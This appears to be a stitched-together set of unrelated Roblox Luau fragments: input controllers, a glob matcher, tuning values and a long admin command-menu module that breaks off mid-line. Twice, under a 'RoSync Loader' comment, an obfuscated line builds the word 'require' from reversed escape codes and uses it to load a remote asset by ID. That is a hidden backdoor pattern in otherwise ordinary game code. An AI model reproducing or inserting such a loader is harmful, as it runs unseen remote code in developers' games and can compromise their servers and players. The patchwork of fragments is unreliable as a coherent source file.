local function globsToMatcher(globs: Array<Config_Glob>): MatcherFn if #globs == 0 then -- Since there were no globs given, we can simply have a fast path here and -- return with a very simple function. return function() return false end end local matchers = Array.map(globs, function(glob) if not globsToMatchersMap:has(glob) then local isMatch = picomatch(glob, picomatchOptions, true) :: Matcher local matcher = { isMatch = isMatch, -- Matchers that are negated have different behavior than matchers that -- are not negated, so we need to store this information ahead of time. negated = isMatch.state.negated or Boolean.toJSBoolean(isMatch.state.negatedExtglob), } globsToMatchersMap:set(glob, matcher) end return globsToMatchersMap:get(glob) :: { isMatch: Matcher, negated: boolean } end) return function(path) -- ROBLOX FIXME START: implement replacePathSepForGlob local replacedPath = path -- local replacedPath = replacePathSepForGlob(path) -- ROBLOX FIXME END local kept = nil local negatives = 0 for i = 1, #matchers do local isMatch, negated local ref = matchers[i] isMatch, negated = ref.isMatch, ref.negated if negated then negatives += 1 end local matched = isMatch(replacedPath) if not matched and negated then -- The path was not matched, and the matcher is a negated matcher, so we -- want to omit the path. This means that the negative matcher is -- filtering the path out. kept = false elseif matched and not negated then -- The path was matched, and the matcher is not a negated matcher, so we -- want to keep the path. kept = true end end -- If all of the globs were negative globs, then we want to include the path -- as long as it was not explicitly not kept. Otherwise only include -- the path if it was kept. This allows sets of globs that are all negated -- to allow some paths to be matched, while sets of globs that are mixed -- negated and non-negated to cause the negated matchers to only omit paths -- and not keep them. return if negatives == #matchers then kept ~= false else Boolean.toJSBoolean(kept) end end exports.default = globsToMatcher return exports
-- << VARIABLES >>
local topBar = main.gui.CustomTopBar local coreToHide = {"Chat", "PlayerList"} local originalCoreStates = {}; local cmdBar = main.gui.CmdBar local currentProps = {} local originalTopBarTransparency = 1 local originalTopBarVisibility = true local mainProps mainProps = { maxSuggestions = 5; mainParent = cmdBar; textBox = cmdBar.SearchFrame.TextBox; rframe = cmdBar.ResultsFrame; suggestionPos = 1; suggestionDisplayed = 0; forceExecute = false; highlightColor = Color3.fromRGB(50,50,50); otherColor = Color3.fromRGB(80,80,80); suggestionLabels = {}; currentBarCommand = nil; }
--[[ The Module ]]
-- local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController")) local Gamepad = setmetatable({}, BaseCharacterController) Gamepad.__index = Gamepad function Gamepad.new(CONTROL_ACTION_PRIORITY) local self = setmetatable(BaseCharacterController.new(), Gamepad) self.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY self.forwardValue = 0 self.backwardValue = 0 self.leftValue = 0 self.rightValue = 0 self.activeGamepad = NONE -- Enum.UserInputType.Gamepad1, 2, 3... self.gamepadConnectedConn = nil self.gamepadDisconnectedConn = nil return self end function Gamepad:Enable(enable: boolean): boolean if not UserInputService.GamepadEnabled then return false end if enable == self.enabled then -- Module is already in the state being requested. True is returned here since the module will be in the state -- expected by the code that follows the Enable() call. This makes more sense than returning false to indicate -- no action was necessary. False indicates failure to be in requested/expected state. return true end self.forwardValue = 0 self.backwardValue = 0 self.leftValue = 0 self.rightValue = 0 self.moveVector = ZERO_VECTOR3 self.isJumping = false if enable then self.activeGamepad = self:GetHighestPriorityGamepad() if self.activeGamepad ~= NONE then self:BindContextActions() self:ConnectGamepadConnectionListeners() else -- No connected gamepads, failure to enable return false end else self:UnbindContextActions() self:DisconnectGamepadConnectionListeners() self.activeGamepad = NONE end self.enabled = enable return true end
---------END LEFT DOOR
game.Workspace.DoorClosed.Value = false end game.Workspace.DoorValues.Moving.Value = false end end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[[ Last synced 10/14/2020 09:37 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--[[ Last synced 12/11/2020 06:21 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--- FUNCTIONS ---
function lookAt(eye, target) local forwardVector = (target - eye).Unit local upVector = Vector3.new(0, 1, 0) -- You have to remember the right hand rule or google search to get this right local rightVector = forwardVector:Cross(upVector) local upVector2 = rightVector:Cross(forwardVector) return CFrame.fromMatrix(eye, rightVector, upVector2) end
--[[ The Module ]]
-- local MouseLockController = {} MouseLockController.__index = MouseLockController function MouseLockController.new() local self = setmetatable({}, MouseLockController) self.isMouseLocked = false self.savedMouseCursor = nil self.boundKeys = {Enum.KeyCode.LeftShift, Enum.KeyCode.RightShift} -- defaults self.mouseLockToggledEvent = Instance.new("BindableEvent") local boundKeysObj = script:FindFirstChild("BoundKeys") if (not boundKeysObj) or (not boundKeysObj:IsA("StringValue")) then -- If object with correct name was found, but it's not a StringValue, destroy and replace if boundKeysObj then boundKeysObj:Destroy() end boundKeysObj = Instance.new("StringValue") -- Luau FIXME: should be able to infer from assignment above that boundKeysObj is not nil assert(boundKeysObj, "") boundKeysObj.Name = "BoundKeys" boundKeysObj.Value = "LeftShift,RightShift" boundKeysObj.Parent = script end if boundKeysObj then boundKeysObj.Changed:Connect(function(value) self:OnBoundKeysObjectChanged(value) end) self:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call end -- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly GameSettings.Changed:Connect(function(property) if property == "ControlMode" or property == "ComputerMovementMode" then self:UpdateMouseLockAvailability() end end) -- Watch for changes to DevEnableMouseLock and update the feature availability accordingly PlayersService.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function() self:UpdateMouseLockAvailability() end) -- Watch for changes to DevEnableMouseLock and update the feature availability accordingly PlayersService.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function() self:UpdateMouseLockAvailability() end) self:UpdateMouseLockAvailability() return self end function MouseLockController:GetIsMouseLocked() return self.isMouseLocked end function MouseLockController:GetBindableToggleEvent() return self.mouseLockToggledEvent.Event end function MouseLockController:GetMouseLockOffset() local offsetValueObj: Vector3Value = script:FindFirstChild("CameraOffset") :: Vector3Value if offsetValueObj and offsetValueObj:IsA("Vector3Value") then return offsetValueObj.Value else -- If CameraOffset object was found but not correct type, destroy if offsetValueObj then offsetValueObj:Destroy() end offsetValueObj = Instance.new("Vector3Value") assert(offsetValueObj, "") offsetValueObj.Name = "CameraOffset" offsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value offsetValueObj.Parent = script end if offsetValueObj and offsetValueObj.Value then return offsetValueObj.Value end return Vector3.new(1.75,0,0) end function MouseLockController:UpdateMouseLockAvailability() local devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock local devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable local userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch local userHasClickToMoveEnabled = GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove local MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable if MouseLockAvailable~=self.enabled then self:EnableMouseLock(MouseLockAvailable) end end function MouseLockController:OnBoundKeysObjectChanged(newValue: string) self.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is "" or contains invalid values for token in string.gmatch(newValue,"[^%s,]+") do for _, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do if token == keyEnum.Name then self.boundKeys[#self.boundKeys+1] = keyEnum :: Enum.KeyCode break end end end self:UnbindContextActions() self:BindContextActions() end
-- The amount the aim will increase or decrease by -- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = .15
--[[Handlebars]]
-- Tune.SteerAngle = 18 -- Handlebar angle at max lock (in degrees) Tune.MSteerExp = 1 -- Mouse steering exponential degree Tune.LowSpeedCut = 60 -- Low speed steering cutoff, tune according to your full lock, a bike with a great handlebar lock angle will need a lower value (E.G. If your full lock is 20 your cutoff will be 40/50, or if your full lock is 40 your cutoff will be 20/30) Tune.SteerD = 50 -- Dampening of the Low speed steering Tune.SteerMaxTorque = 4000 -- Force of the the Low speed steering Tune.SteerP = 500 -- Aggressiveness of the the Low speed steering
-- Services --
local svcWorkspace = game:GetService("Workspace") local Camera = svcWorkspace.CurrentCamera
--// Global Wrapping
Enum = service_Wrap(Enum, true) rawequal = service.RawEqual script = service_Wrap(script, true) game = service_Wrap(game, true) workspace = service_Wrap(workspace, true) Instance = { new = function(obj, parent) return service_Wrap(oldInstNew(obj, service_UnWrap(parent)), true) end, } require = function(obj, noWrap: boolean?) return if noWrap == true then oldReq(service_UnWrap(obj)) else service_Wrap(oldReq(service_UnWrap(obj)), true) end client.Service = service client.Module = service_Wrap(client.Module, true)
-- https://developer.roblox.com/en-us/api-reference/enum/Material
local WATER = -0.60 -- уровень воды local DELTA = 0.2 -- дельта изменения поверхности local Players = game:GetService("Players")
-- RANK, RANK NAMES & SPECIFIC USERS
Ranks = { {5, "Owner", }; {4, "HeadAdmin", {"Player1","",0}, }; {3, "Admin", {"",0}, }; {2, "Mod", {"",0}, }; {1, "VIP", {"",0}, }; {0, "NonAdmin", }; };
-- Create component
local ToolButton = Roact.PureComponent:extend(script.Name) function ToolButton:init() self:UpdateHotkeyTextSize(self.props.HotkeyLabel) end function ToolButton:willUpdate(nextProps) if self.props.HotkeyLabel ~= nextProps.HotkeyLabel then self:UpdateHotkeyTextSize(nextProps.HotkeyLabel) end end function ToolButton:UpdateHotkeyTextSize(Text) self.HotkeyTextSize = TextService:GetTextSize( Text, 9, Enum.Font.Gotham, Vector2.new(math.huge, math.huge) ) end function ToolButton:render() return new('ImageButton', { BackgroundColor3 = self.props.Tool.Color.Color; BackgroundTransparency = (self.props.CurrentTool == self.props.Tool) and 0 or 1; BorderSizePixel = 0; Image = self.props.IconAssetId; AutoButtonColor = false; [Roact.Event.Activated] = function () self.props.Core.EquipTool(self.props.Tool) end; }, { Corners = new('UICorner', { CornerRadius = UDim.new(0, 3); }); Hotkey = new('TextLabel', { BackgroundTransparency = 1; Position = UDim2.new(0, 3, 0, 3); Size = UDim2.fromOffset(self.HotkeyTextSize.X, self.HotkeyTextSize.Y); Font = Enum.Font.Gotham; Text = self.props.HotkeyLabel; TextColor3 = Color3.fromRGB(255, 255, 255); TextSize = 9; TextXAlignment = Enum.TextXAlignment.Left; TextYAlignment = Enum.TextYAlignment.Top; }); }) end return ToolButton
--!strict
local Sift = script.Parent.Parent local CopyDeep = require(script.Parent.copyDeep) local None = require(Sift.None)
--- Registers a command based purely on its definition. -- Prefer using Registry:RegisterCommand for proper handling of server/client model.
function Registry:RegisterCommandObject (commandObject) for key in pairs(commandObject) do if self.CommandMethods[key] == nil then error("Unknown key/method in command " .. (commandObject.Name or "unknown command") .. ": " .. key) end end if commandObject.Args then for i, arg in pairs(commandObject.Args) do for key in pairs(arg) do if self.CommandArgProps[key] == nil then error(('Unknown propery in command "%s" argument #%d: %s'):format(commandObject.Name or "unknown", i, key)) end end end end if RunService:IsClient() and commandObject.Data and commandObject.Run then error(('Invalid command implementation provided for "%s": "Data" and "Run" sections are mutually exclusive'):format(commandObject.Name or "unknown")) end if commandObject.AutoExec and RunService:IsClient() then table.insert(self.AutoExecBuffer, commandObject.AutoExec) self:FlushAutoExecBufferDeferred() end -- Unregister the old command if it exists... local oldCommand = self.Commands[commandObject.Name:lower()] if oldCommand and oldCommand.Aliases then for _, alias in pairs(oldCommand.Aliases) do self.Commands[alias:lower()] = nil end elseif not oldCommand then self.CommandsArray[#self.CommandsArray + 1] = commandObject end self.Commands[commandObject.Name:lower()] = commandObject if commandObject.Aliases then for _, alias in pairs(commandObject.Aliases) do self.Commands[alias:lower()] = commandObject end end end
-- Connect the function to new player character additions
game.Players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(onCharacterAdded) end)
-- Other Variables
local Tools = ServerStorage.Tools local Membership = Enum.MembershipType local None = Membership.None local Premium = Membership.Premium local ToolSettings = require(ServerStorage.ToolConfig)
--== SETTINGS ==--
local Key = Enum.KeyCode.F local AnimationLength = 5.01
--Если нажата
Mos.KeyDown:connect(function(key) if key:lower() == string.char(48) then game.Workspace.Camera.FieldOfView = game.Workspace.Camera.FieldOfView + 1.6 local Player1 = game.Players.LocalPlayer.Character.Humanoid if Player1 then Player1.WalkSpeed = 25 end end end)
-- << FUNCTIONS >>
function module:ReplicateEffect(commandName, args) main.signals.ReplicateEffect:FireServer(commandName, args) end function module:UpdateIconVisiblity() local newTransparency = (main.pdata.Rank >= main.settings.RankRequiredToViewIcon and 0) or 1 main.tweenService:Create(main.gui.CustomTopBar.ImageButton, TweenInfo.new(1), {ImageTransparency = newTransparency}):Play() end function module:DeactivateCommand(commandName) main.commandsAllowedToUse[commandName] = nil main.commandsActive[commandName] = nil if not main.commandsToDisableCompletely[commandName] then local frame = main.gui:FindFirstChild("CommandMenu"..commandName) main:GetModule("cf"):DestroyCommandMenuFrame(frame) end end function module:EndCommand(commandName) main.commandsActive[commandName] = nil main:GetModule("cf"):UpdateCommandMenu(commandName) end function module:ActivateClientCommand(commandName, extraDetails) if main.commandsAllowedToUse[commandName] and not main.commandsActive[commandName] then if not(extraDetails and extraDetails.DontForceActivate and main.gui:FindFirstChild("CommandMenu"..commandName)) then main.commandsActive[commandName] = true spawn(function() main:GetModule("cf"):UpdateCommandMenu(commandName) local clientCommand = main:GetModule("ClientCommands")[commandName] if clientCommand then local Function = clientCommand["Activate"] if Function then Function(clientCommand) end end main.commandsActive[commandName] = nil end) end end end function module:GetCF(part, isFor) --Credit to Scel for this local cframe = part.CFrame local noRot = CFrame.new(cframe.p) local x, y, z = (workspace.CurrentCamera.CFrame - workspace.CurrentCamera.CFrame.p):toEulerAnglesXYZ() return noRot * CFrame.Angles(isFor and z or x, y, z) end function module:GetNextMovement(deltaTime, speed) local nextMove = Vector3.new() local directions = { Left = Vector3.new(-1, 0, 0); Right = Vector3.new(1, 0, 0); Forwards = Vector3.new(0, 0, -1); Backwards = Vector3.new(0, 0, 1); Up = Vector3.new(0, 1, 0); Down = Vector3.new(0, -1, 0); } if main.device == "Computer" then for i,v in pairs(main.movementKeysPressed) do local vector = directions[v] if vector then nextMove = nextMove + vector end end else local humanoid = main:GetModule("cf"):GetHumanoid() local hrp = main:GetModule("cf"):GetHRP() if humanoid then local md = humanoid.MoveDirection for i,v in pairs(directions) do local isFor = false if i == "Forwards" or i == "Backwards" then isFor = true end local vector = ((module:GetCF(hrp, true)*CFrame.new(v)) - hrp.CFrame.p).p; if (vector - md).magnitude <= 1.05 and md ~= Vector3.new(0,0,0) then nextMove = nextMove + v end end end end return CFrame.new(nextMove * speed * deltaTime), nextMove end function module:GetAssetImage(assetId) return("https://www.roblox.com/asset-thumbnail/image?assetId="..assetId.."&width=420&height=420&format=png") end function module:GetUserImage(userId) return("https://www.roblox.com/headshot-thumbnail/image?userId="..userId.."&width=420&height=420&format=png") end function module:ShowPermRankedUser(details) local plrName, userId, rankedById = details[1], details[2], details[3] permRank.PlrName.Text = plrName permRank.PlrImage.Image = module:GetUserImage(userId) permRank.RankedBy.TextLabel.Text = main:GetModule("cf"):GetName(rankedById) main:GetModule("cf"):ShowWarning("PermRank") end function module:ShowBannedUser(banDetails) local plrName, userId, reason, bannedById = banDetails[1], banDetails[2], banDetails[3], banDetails[4] local reasonLabel = unBan.Reason.TextLabel unBan.PlrName.Text = plrName unBan.PlrImage.Image = module:GetUserImage(userId) unBan.BannedBy.TextLabel.Text = main:GetModule("cf"):GetName(bannedById) reasonLabel.Text = "'"..reason.."'" if reasonLabel.Text == "" or reasonLabel.Text == " " then reasonLabel.Text = "Empty" reasonLabel.Font = Enum.Font.SourceSansItalic else reasonLabel.Font = Enum.Font.SourceSans end main:GetModule("cf"):ShowWarning("UnBan") end function module:ShowWarning(warningName) for a,b in pairs(main.warnings:GetChildren()) do if b.Name == warningName then b.Visible = true main.warnings.Visible = true else b.Visible = false end end end function module:SetCameraSubject(newSubject) local face = main:GetModule("cf"):GetFace() if face then local originalT = face.Transparency main.camera.CameraSubject = newSubject face.Transparency = originalT end end function module:DestroyCommandMenuFrame(frame) if frame then for i,v in pairs(main.commandMenus) do if v == frame then table.remove(main.commandMenus, i) end end frame:Destroy() end end function module:UpdateCommandMenu(commandName, frame) if frame == nil then frame = main.gui:FindFirstChild("CommandMenu"..commandName) end if frame then local mainFrame = frame.MainFrame local status = mainFrame:FindFirstChild("Status") if status then if (main.commandsToDisableCompletely[commandName] and main.commandsAllowedToUse[commandName]) or main.commandsActive[commandName] then mainFrame.Status.TextLabel.Text = "On" mainFrame.Status.TextLabel.TextColor3 = Color3.fromRGB(0, 225, 0) mainFrame.ChangeStatus.TextLabel.Text = "DISABLE" else mainFrame.Status.TextLabel.Text = "Off" mainFrame.Status.TextLabel.TextColor3 = Color3.fromRGB(255, 0, 0) mainFrame.ChangeStatus.TextLabel.Text = "ENABLE" end end end end function module:CreateNewCommandMenu(commandName, menuDetails, menuType, forceOnTop) ---------------------- local framesToDestroyOnClose = {4, 5, 8, 11, 12} local framesWithIncrementalNames = {4} local framesToDestroyExistingFrames = {--[[1,]] 5, 6, 7, 9, 12} ---------------------- menuType = tonumber(menuType) local destroyFrameOnClose = main:GetModule("cf"):FindValue(framesToDestroyOnClose, menuType) local isAnIncrementalName = main:GetModule("cf"):FindValue(framesWithIncrementalNames, menuType) local destroyExistingFrames = main:GetModule("cf"):FindValue(framesToDestroyExistingFrames, menuType) local frameName = "CommandMenu"..commandName if isAnIncrementalName then frameName = "CommandMenu"..commandName..pmId pmId = pmId + 1 end local frame = main.gui:FindFirstChild(frameName) if frame and destroyExistingFrames then frame:Destroy() frame = nil end if not frame then local frameTemplate = menuTemplates["Template"..menuType] local mainFrameTemplate = frameTemplate.MainFrame frame = frameTemplate:Clone() frame.Name = frameName local dragBar = frame.DragBar local mainFrame = frame.MainFrame local commandNameSplit = string.upper(string.gsub(commandName, "%u", function(c) return " "..c end)) dragBar.Title.Text = commandNameSplit main:GetModule("InputHandler"):MakeFrameDraggable(frame) dragBar.Close.MouseButton1Down:Connect(function() if destroyFrameOnClose then module:DestroyCommandMenuFrame(frame) else frame.Visible = false end end) local originalY = mainFrame.Position.Y.Scale local yTweenTarget = -(1 - dragBar.Size.Y.Scale - originalY) local minimise = dragBar:FindFirstChild("Minimise") if minimise then minimise.MouseButton1Down:Connect(function() if minimise.TextLabel.Text == "-" then main.tweenService:Create(mainFrame, TweenInfo.new(0.5), {Position = UDim2.new(0,0,yTweenTarget,-1)}):Play() minimise.TextLabel.Text = "+" else main.tweenService:Create(mainFrame, TweenInfo.new(0.5), {Position = UDim2.new(0,0,originalY,0)}):Play() minimise.TextLabel.Text = "-" end end) end -- << SHARED >> --updateCanvasSize(scrollFrame, scrollFrame["Answer"..#data.Answers], scrollFrame.Question) local function updateCanvasSize(scrollFrame, finalLabel, firstLabel) scrollFrame.CanvasSize = UDim2.new(0, 0, 0, (finalLabel.AbsolutePosition.Y - firstLabel.AbsolutePosition.Y) + finalLabel.AbsoluteSize.Y) end local function selectToggle(selectFrame, toggleName, ov) local defaultToggles, finalFunction, scrollFrame, finalLabel, firstLabel = ov[1],ov[2],ov[3],ov[4],ov[5] local button = selectFrame:FindFirstChild(toggleName) if not button then toggleName = defaultToggles[selectFrame.Name] end --------------- if selectFrame.Name == "AC Server" and toggleName == "All" and main.pdata.Rank < main.commandRanks.globalvote then main:GetModule("Notices"):Notice("Error", main.hdAdminCoreName, "Must be '".. main:GetModule("cf"):GetRankName(main.commandRanks.globalvote).."' to use ;globalVote") else -------------- for a,b in pairs(selectFrame:GetChildren()) do if b:IsA("TextButton") then finalFunction(b, toggleName, selectFrame) end end if finalLabel and firstLabel then updateCanvasSize(scrollFrame, finalLabel, firstLabel) end end end local function setupDefaultToggles(defaultToggles, scrollFrame, playerTextBox, organisedVariables, setupFunction, timeFrame, playerValue) local focused = false playerTextBox.Focused:Connect(function() focused = true end) playerTextBox.FocusLost:Connect(function() wait() focused = false end) for frameName, _ in pairs(defaultToggles) do local selectFrame = scrollFrame[frameName] for a,b in pairs(selectFrame:GetChildren()) do if b:IsA("TextButton") then b.MouseButton1Down:Connect(function() if not focused then selectToggle(selectFrame, b.Name, organisedVariables) end end) end end setupFunction(selectFrame) end if timeFrame then for a,b in pairs(timeFrame:GetChildren()) do local textBox = b:FindFirstChild("TextBox") if textBox then local originalNumber = textBox.Text textBox.Focused:Connect(function() focused = true end) textBox.FocusLost:connect(function(property) local newNumber = tonumber(textBox.Text) if newNumber then if newNumber < 0 then newNumber = 0 elseif b.Name == "Minutes" and newNumber > 60 then newNumber = 60 elseif b.Name == "Hours" and newNumber > 24 then newNumber = 24 elseif b.Name == "Days" and newNumber > 100000 then newNumber = 100000 end originalNumber = newNumber end textBox.Text = originalNumber wait() focused = false end) end end end if playerValue then local lowerPlayerValue = string.lower(playerValue) local newPlayerValue = playerValue for i,v in pairs(main.qualifiers) do if v == lowerPlayerValue then newPlayerValue = v break end end if not newPlayerValue then for i,plr in pairs(main.players:GetChildren()) do if string.sub(string.lower(plr.Name), 1, #lowerPlayerValue) == lowerPlayerValue then newPlayerValue = plr.Name break end end end playerTextBox.Text = newPlayerValue or "" end end local function setupFinalResult(frame, submitButton, loadingButton, serverInvocationFunction, retrievedDataFunction, broadcastFunction) local fr = frame.FinalResult local frFrame = fr.Frame local example = frFrame.Example local frLoading = frFrame.Loading local frBroadcast = frFrame.Broadcast fr.Visible = false frFrame.CloseX.MouseButton1Down:Connect(function() fr.Visible = false end) frBroadcast.MouseButton1Down:Connect(function() frLoading.Visible = true frBroadcast.Visible = false broadcastFunction() module:DestroyCommandMenuFrame(frame) end) submitButton.MouseButton1Down:Connect(function() loadingButton.Visible = true submitButton.Visible = false local data = serverInvocationFunction() if type(data) == "table" then retrievedDataFunction(data) else local errorMessage = tostring(data) or "Error" loadingButton.TextLabel.Text = errorMessage wait(1) loadingButton.TextLabel.Text = "Loading..." end loadingButton.Visible = false submitButton.Visible = true end) end local function setupPollResults(scrollFrame, data) local exampleAnswerTemplate = scrollFrame.AnswerTemplate exampleAnswerTemplate.Visible = false scrollFrame.Question.TextLabel.Text = data.Question for i,v in pairs(scrollFrame:GetChildren()) do if v:IsA("TextButton") and v ~= exampleAnswerTemplate then v:Destroy() end end for i,answer in pairs(data.Answers) do local answerButton = exampleAnswerTemplate:Clone() answerButton.Visible = true answerButton.Name = "Answer"..i answerButton.TextLabel.Text = i..". "..answer answerButton.BackgroundColor3 = module:GetLabelBackgroundColor(i) --------------- local fade = answerButton.Fade local selectedAnswer = false if data.Remote then answerButton.MouseButton1Up:Connect(function() scrollFrame.Parent.Parent.Visible = false pcall(function() data.Remote:FireServer(i) end) end) end answerButton.InputBegan:Connect(function(input) main.tweenService:Create(fade, TweenInfo.new(0.2), {BackgroundTransparency = 0.8}):Play() end) answerButton.InputEnded:Connect(function(input) main.tweenService:Create(fade, TweenInfo.new(0.2), {BackgroundTransparency = 1}):Play() end) --------------- answerButton.Parent = scrollFrame end spawn(function() wait(0.1) updateCanvasSize(scrollFrame, scrollFrame["Answer"..#data.Answers], scrollFrame.Question) end) end -------------- << MENU TYPE 1 >> -------------- if menuType == 1 then local newPosition = UDim2.new(1, -255, 1, -155) if main.device ~= "Mobile" and frame.Position ~= newPosition then frame.Position = newPosition frame.Size = UDim2.new(0, 250, 0, 150) end local infoFrame = mainFrame.InfoFrame local min infoFrame.Visible = false mainFrame.Desc.Visible = false mainFrame.InputFrame.Visible = false local menuType = menuDetails[1] if menuType == "Info" then mainFrame.Desc.Text = menuDetails[2] mainFrame.Desc.Visible = true elseif menuType == "Input" then local inputType = menuDetails[2] local textBox = mainFrame.InputFrame.Frame.TextBox local defaultValue = main.commandSpeeds[commandName] mainFrame.InputFrame.InputName.Text = inputType..":" textBox.Text = defaultValue -- if main.infoFramesViewed[inputType] then main.infoFramesViewed[inputType] = nil if inputType == "Speed" then local infoLabels = {} if main.device == "Computer" then infoLabels = { {"Movement", "WASD"}; {"Toggle flight", "E"}; {"Up & Down", "R & F"}; } else infoLabels = { {"Movement", "Thumbstick"}; {"Toggle flight", "Double-jump"}; } end for i = 1,3 do local label = infoFrame["Info"..i] local labelInfo = infoLabels[i] if labelInfo then label.Text = labelInfo[1]..":" label.TextLabel.Text = labelInfo[2] label.Visible = true else label.Visible = false end end infoFrame.Okay.MouseButton1Down:Connect(function() infoFrame.Visible = false end) infoFrame.Visible = true end end local originalText = textBox.Text textBox.FocusLost:Connect(function() local newValue = tonumber(textBox.Text) if not newValue then newValue = defaultValue end local loadingText = "..." textBox.Text = loadingText local success = main.signals.RequestCommand:InvokeServer(main.pdata.Prefix..commandName.." me "..newValue) if not success then textBox.Text = originalText end originalText = textBox.Text end) mainFrame.InputFrame.Visible = true end module:UpdateCommandMenu(commandName, frame) mainFrame.ChangeStatus.MouseButton1Down:Connect(function() mainFrame.Loading.Visible = true if main.commandsToDisableCompletely[commandName] then local commandNameToSend if mainFrame.ChangeStatus.TextLabel.Text == "DISABLE" then commandNameToSend = "!Un"..commandName else commandNameToSend = "!"..commandName end main.signals.RequestCommand:InvokeServer(commandNameToSend) wait(1) elseif main.commandsActive[commandName] then main.commandsActive[commandName] = nil else main:GetModule("cf"):ActivateClientCommand(commandName) wait(0.5) end module:UpdateCommandMenu(commandName, frame) mainFrame.Loading.Visible = false end) -------------- << MENU TYPE 2 >> -------------- elseif menuType == 2 then if commandName == "cmdbar2" then dragBar.Title.Text = "CMDBAR2" end if main.device ~= "Mobile" then frame.Position = UDim2.new(0, 5, 1, -75) frame.Size = UDim2.new(0, 315, 0, 70) end local searchFrame = mainFrame.SearchFrame local textBox = searchFrame.TextBox local props = { maxSuggestions = 3; mainParent = mainFrame.Parent; textBox = textBox; rframe = searchFrame.ResultsFrame; suggestionPos = 1; suggestionDisplayed = 0; forceExecute = false; highlightColor = Color3.fromRGB(50,50,50); otherColor = Color3.fromRGB(80,80,80); suggestionLabels = {}; currentBarCommand = nil; } main:GetModule("CmdBar"):SetupTextbox(commandName, props) local loading = mainFrame.Loading mainFrame.Execute.MouseButton1Down:Connect(function() loading.Visible = true if #textBox.Text > 1 then local commandToRequest = textBox.Text local firstChar = string.sub(commandToRequest,1,1) if firstChar ~= main.settings.UniversalPrefix and firstChar ~= main.pdata.Prefix then commandToRequest = main.pdata.Prefix..commandToRequest end local endChar = string.sub(commandToRequest,-1) if endChar == " " then commandToRequest = string.sub(commandToRequest,1,-1) end main.signals.RequestCommand:InvokeServer(commandToRequest) end loading.Visible = false end) -------------- << MENU TYPE 3 >> -------------- elseif menuType == 3 then if commandName == "cmdbar2" then dragBar.Title.Text = "CMDBAR2" end if main.device ~= "Mobile" then frame.Position = UDim2.new(0, 5, 1, -110) frame.Size = UDim2.new(0, 315, 0, 105) end local playerSearchFrame = mainFrame.PlayerFrame.SearchFrame local playerTextBox = playerSearchFrame.TextBox playerTextBox.Text = main.player.Name -- local props = { maxSuggestions = 3; mainParent = mainFrame.Parent; textBox = playerTextBox; rframe = playerSearchFrame.ResultsFrame; suggestionPos = 1; suggestionDisplayed = 0; forceExecute = false; highlightColor = Color3.fromRGB(50,50,50); otherColor = Color3.fromRGB(80,80,80); suggestionLabels = {}; currentBarCommand = nil; specificArg = "player"; } main:GetModule("CmdBar"):SetupTextbox(commandName, props) -- local messageSearchFrame = mainFrame.MessageFrame.SearchFrame local messageTextBox = messageSearchFrame.TextBox messageTextBox.FocusLost:connect(function(enter) if enter then local targetPlayerText = playerTextBox.Text local endChar = string.sub(targetPlayerText,-1) if endChar == " " then targetPlayerText = string.sub(targetPlayerText,1,-1) end local commandToRequest = main.pdata.Prefix.."talk"..main.pdata.SplitKey..targetPlayerText..main.pdata.SplitKey..messageTextBox.Text messageTextBox.Text = "" main.signals.RequestCommand:InvokeServer(commandToRequest) end end) -------------- << MENU TYPE 4 (messages) >> -------------- elseif menuType == 4 then local speaker = menuDetails[1] local message = menuDetails[2] local textBox = mainFrame.ReplyFrame.TextBox local send = mainFrame.Send dragBar.Title.Text = "Message from "..speaker.Name mainFrame.MessageFrame.Message.Text = message textBox.Changed:connect(function(property) if property == "Text" then if #textBox.Text > 0 then send.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255) send.AutoButtonColor = true else send.TextLabel.TextColor3 = Color3.fromRGB(125, 125, 125) send.AutoButtonColor = false end end end) send.MouseButton1Down:Connect(function() if send.AutoButtonColor then module:DestroyCommandMenuFrame(frame) main.signals.ReplyToPrivateMessage:InvokeServer{speaker, textBox.Text} end end) -------------- << MENU TYPE 5 (logs) >> -------------- elseif menuType == 5 then local log = menuDetails local labelY = math.ceil(mainFrameTemplate.ScrollFrame.AbsoluteSize.Y/11) local template = mainFrameTemplate.ScrollFrame.Template local marginX = labelY/3 local scrollFrame = mainFrame.ScrollFrame local loadMoreFrame = mainFrame.LoadMore local displayingLabel = loadMoreFrame.Displaying local loadMore = loadMoreFrame.Load scrollFrame.Template:Destroy() frame.Parent = main.gui ---- local function getLabelText(record) local message = record.message local timeAdded = record.timeAdded-- -(record.timeAdded-os.time()) local localTimeData = os.date("*t", timeAdded) local speakerName = record.speakerName local hour = localTimeData.hour local minute = localTimeData.min if hour < 10 then hour = "0"..hour end if minute < 10 then minute = "0"..minute end return("["..hour..":"..minute.."] "..speakerName..": "..message) end local logElements = {} local linesToLoadAtOnce = 20 local currentDisplayIndex = 0 local maxX = 0 local function displayElements(index, range) currentDisplayIndex = math.min(index + range - 1, #logElements) for i = index, currentDisplayIndex do local label = logElements[i] local textLabel = label.TextLabel local labelTextSize = main.textService:GetTextSize(textLabel.Text, tonumber(textLabel.TextSize), textLabel.Font, Vector2.new(math.huge, labelY)) local labelX = labelTextSize.X if labelX > maxX then maxX = labelX end label.Parent = scrollFrame end displayingLabel.Text = ("%d/%d"):format(currentDisplayIndex, #logElements) local showLoadMore = 